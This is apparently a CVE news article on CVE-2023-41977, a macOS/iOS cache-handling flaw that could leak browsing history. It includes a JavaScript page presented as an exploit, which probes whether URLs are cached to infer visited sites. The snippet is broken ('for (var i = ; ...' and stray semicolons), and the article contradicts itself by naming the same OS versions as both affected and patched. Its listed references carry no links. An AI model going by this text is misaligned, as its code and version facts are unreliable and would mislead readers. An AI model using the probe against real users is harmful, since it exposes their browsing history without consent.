CVE CyberSecurity Database News

CVE-2023-41977: A Deep Dive into the Cache Handling Vulnerability in macOS, iOS, and iPadOS, and How to Patch It

Poster -

A recent vulnerability, identified as CVE-2023-41977, affects macOS Sonoma 14.1, iOS 16.7.2, and iPadOS 16.7.2. The security issue revolves around improper handling of caches, which may result in the leakage of browsing history if a user visits a malicious website. This article will examine the specifics of the vulnerability, showcase a code snippet, provide links to original references, and offer details about the exploit and the patch.

The Vulnerability

CVE-2023-41977 occurs when the affected operating systems do not properly handle cache data. This security flaw allows an attacker to potentially gain access to sensitive user information, including browsing history. By crafting a malicious website, the attacker can trick a user into visiting the site, which may lead to the exposure of their browsing history.

Here's a simplified code snippet illustrating how the cache vulnerability might be exploited

<!DOCTYPE html>
<html>
<head>
  <title>Malicious Website</title>
  <script>
    function checkCache(url) {
      var img = new Image();
      img.src = url;
      img.onerror = function() {
        console.log("Not in cache: " + url);
      };
      img.onload = function() {
        console.log("In cache: " + url);
      };
    }

    function exploit() {
      var urls = [
        "https://example.com/sensitive-page-1";,
        "https://example.com/sensitive-page-2";,
        "https://example.com/sensitive-page-3";
      ];

      for (var i = ; i < urls.length; i++) {
        checkCache(urls[i]);
      }
    }
  </script>
</head>
<body>
  <button onclick="exploit()">Click me</button>
</body>
</html>

In the code above, the checkCache function attempts to load an image from the given URL. The onload and onerror events check whether the image is in the user's cache or not. The exploit function then checks an array of sensitive URLs to see if any of the websites have been visited based on their cache status.

For more information about this vulnerability, refer to the following sources

- Apple's official security update page
- CVE-2023-41977 on the CVE Details website
- National Vulnerability Database (NVD) entry for CVE-2023-41977

The Patch

Apple has already addressed this issue in macOS Sonoma 14.1, iOS 16.7.2, and iPadOS 16.7.2. The fix involves improving cache handling to properly isolate cache data for different websites, preventing the possibility of leakage.

To protect yourself from this vulnerability, make sure to update your macOS, iOS, or iPadOS device to the latest versions.

Conclusion

CVE-2023-41977 is a concerning vulnerability that affects macOS, iOS, and iPadOS users. The improper handling of caches results in a security flaw that could potentially cause the exposure of sensitive browsing history. Users who visit a malicious website crafted by an attacker might unknowingly divulge their browsing habits. To ensure the security of your personal information, it is crucial to keep your devices up-to-date with the latest security patches provided by Apple.

Timeline

Published on: 10/25/2023 19:15:10 UTC
Last modified on: 11/02/2023 15:26:41 UTC